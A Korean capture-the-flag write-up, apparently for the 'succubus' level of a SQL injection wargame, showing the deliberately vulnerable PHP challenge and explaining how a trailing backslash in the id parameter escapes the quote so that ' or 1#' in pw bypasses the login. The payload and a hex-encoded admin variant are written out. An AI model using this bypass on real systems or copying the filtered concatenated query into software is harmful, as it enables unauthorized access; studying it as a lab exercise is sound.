이번 문제는 succubus이다. succubus는 처음 듣는 이름이라 찾아봤는데, 중세 유럽의 전설이랑 민속에 나오는 악마 이름이라고 한다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
-------------------------------------------------------------------------------
query : select id from prob_succubus where id='' and pw=''
-------------------------------------------------------------------------------

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

지난 번 문제랑 뭐가 다른가 했는데, ereg() 대신에 preg_match()가 사용되었다. 이번엔 정말로 '를 우회해야 하는 문제인 것 같다. 처음에는 preg_match() 함수에 취약점이 있지 않을까 생각했다. 그런데 아무리 찾아도 취약점이 있다는 내용이 보이지 않았고, 아직까지 preg_match()에 대한 취약점이 나오지 않았다는 글이 2017년에 올라와 있었다.

그럼 다른 방법으로 문제를 풀어야 했기 때문에 엄청 고민을 했다. 이런저런 키워드로 검색을 했는데, 그러다가 \에 필터링이 없을 경우 이를 이용 해 문제를 풀 수 있다는 내용을 봤다. 문제에서, idpw를 입력받고 있다. 이 때, 만약 id\를 입력하고 pw에는 or 1#를 입력하면 완성되는 쿼리는 아래와 같다.

1
select id from prob_succubus where id='\' and pw' or 1#

때문에 id의 뒤에 있는 '\'가 되며 싱글 쿼터 내의 문자로 인식된다. 즉, id' and pw인 행을 찾게 되는 것이다. 물론 테이블에는 id' and pw인 행은 없을 것이므로, 뒤의 or 1이 실행되며 값을 추출할 수 있게 된다. 따라서 아래와 같이 입력하면 문제를 풀 수 있다.

1
?id=\&pw= or 1%23

문제에서는 결과로 추출 된 id만 있으면 되기 때문에 or 1을 사용했는데, 만약 adminid를 추출했어야 했다면 or id=0x61646d696e%23pw에 입력하면 문제를 풀 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
--------------------------------------------------------------------------------------
query : select id from prob_succubus where id='\' and pw=' or 1#'
--------------------------------------------------------------------------------------

SUCCUBUS Clear!
<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

1
SUCCUBUS Clear!!